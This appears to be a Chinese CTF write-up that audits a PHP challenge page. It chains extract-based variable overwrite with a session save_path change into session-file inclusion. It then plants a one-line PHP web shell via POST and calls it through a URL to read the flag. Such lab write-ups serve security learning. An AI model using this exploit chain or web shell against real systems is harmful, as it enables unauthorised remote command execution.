本帖最后由 柒月 于 2021-6-13 16:09 编辑
打开靶场环境,发现php源码:
find me
php代码审计如下:
<?php
highlight_file(__FILE__); /*<i>对file文件中的php代码进行高亮处理</i>*/
error_reporting(0); /*关闭错误报告*/
ini_set('open_basedir', '/var/www/html:/tmp'); /*ini_set:为一个配置选项设置值,open_basedir:将用户可操作的文件权限限制在/var/www/html:/tmp目录下。*/
$file = 'function.php'; /*将function.php文件赋值给变量file*/
$func = isset($_GET['function'])?$_GET['function']:'filters'; /*<span class="refname">isset</span>:<span class="dc-title">检测变量是否已设置并且非 <strong><code>null,$func后面的表达式类似于一个三目运算符,如果get传参function的值非空,则将function的值赋值给变量func。如果为空,则将filters赋值给变量func。*/</code></strong></span>
call_user_func($func,$_GET); /*调用一个回调函数处理字符串,再次get传参给$func,此处可利用变量覆盖,$func='extract';
$_GET=array(xx,xx)*/
include($file); /*文件包含$file*/
session_start(); /*<span class="function"><strong>session_start()</strong></span> 会创建新会话或者重用现有会话。
如果通过 GET 或者 POST 方式,或者使用 cookie 提交了会话 ID,
则会重用现有会话。
*/
$_SESSION['name'] = $_POST['name']; /*post传参的数值存储到$_SESSION['name']*/
if($_SESSION['name']=='admin'){
header('location:admin.php');
} /*如果$_SESSION['name']==‘admin’跳转到location:admin.php*/
?>
可以发现 call_user_func($func,$_GET); 未做任何过滤,而后面有 include($file); 因此可利用 extract 进行变量覆盖,实现文件包含。
session_start 函数
继续往后看,发现 session 值可控,session 默认保存在以下位置:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/var/lib/php5/sess_PHPSESSID
/var/lib/php5/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
/tmp 目录下无法找到 session,因此 session 应该在 /var/lib 目录下。但由于 ini_set('open_basedir', '/var/www/html:/tmp'); 的设置,无法包含 /var/lib 下的 session。
session_start 函数存在 options 数组参数,如果提供会覆盖 session 配置项,而其中包含了 save_path,可用来修改 session 保存位置。
因此思路是传入 session_start 函数修改存储位置。
尝试直接写到/tmp目录
利用burpsuite来定义session
find me
在服务器后台/tmp下其实已经存储新的session
find me
访问test123文件显示成功。
find me
再用同样的方式写 shell即可,POST方式下写入: name=<?php system($_GET[x]);?>
find me
包含访问shell读取: http://xuenixiang.cn:32768/?function=extract&file=/tmp/sess_test123&x=cat /flag 得出flag。。
|